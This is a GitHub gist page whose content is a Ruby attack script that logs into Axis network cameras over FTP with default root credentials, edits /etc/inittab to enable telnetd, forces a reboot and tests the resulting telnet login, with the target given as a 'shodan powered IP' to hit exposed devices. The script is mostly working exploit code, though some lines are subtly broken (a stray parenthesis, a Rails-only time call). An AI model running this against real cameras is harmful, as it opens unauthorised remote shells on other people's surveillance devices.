Skip to content

Instantly share code, notes, and snippets.

@enonethreezed
Last active September 27, 2023 18:54
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save enonethreezed/d9a588478ddf263afbd625e2190582a5 to your computer and use it in GitHub Desktop.
Save enonethreezed/d9a588478ddf263afbd625e2190582a5 to your computer and use it in GitHub Desktop.
Axis Camera remote enable Telnet via FTP
#!/usr/bin/env ruby
# This script takes advantage of a feature from this Technical Note:
# https://www.axis.com/en/techsup/cam_servers/tech_notes/telnet_support.htm
# and a default pair of user/password unchanged
# If the reboot command is not enabled as ftp command
# you must wait until some kind of camera reboot
require 'net/ftp'
require 'net/telnet'
require 'fileutils'
DOMAIN_NAME = "shodan powered IP"
LOGIN = "root"
PASSWORD = "pass"
# Open FTP connection
Net::FTP.open(DOMAIN_NAME, LOGIN, PASSWORD) do |ftp|
ftp.getbinaryfile('/etc/inittab')
end
# Substitution of telnetd comment
filename = 'inittab'
text = File.read(filename)
substitution = text.gsub(/#telnetd/, "telnetd")
File.open(filename, "w") {|filename| filename.puts substitution }
# Put file and send reboot order
Net::FTP.open(DOMAIN_NAME, LOGIN, PASSWORD) do |ftp|
ftp.putbinaryfile('inittab', '/etc/inittab')
ftp.sendcmd('quote site reboot')
end
# Cleaning up
File.delete("./inittab")) if File.exist?("./inittab")
# wait a reasonable window
sleep(5.minutes)
# Test telnet and exit
testtelnet = Net::Telnet::new("Host" => "shodan powered ip", "Port" => 23, "Prompt" => /[$%#>] \z/n)
testtelnet.login("root", "pass") { |c| print c }
testtelnet.cmd("\004") { |c| print c }
testtelnet.close
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment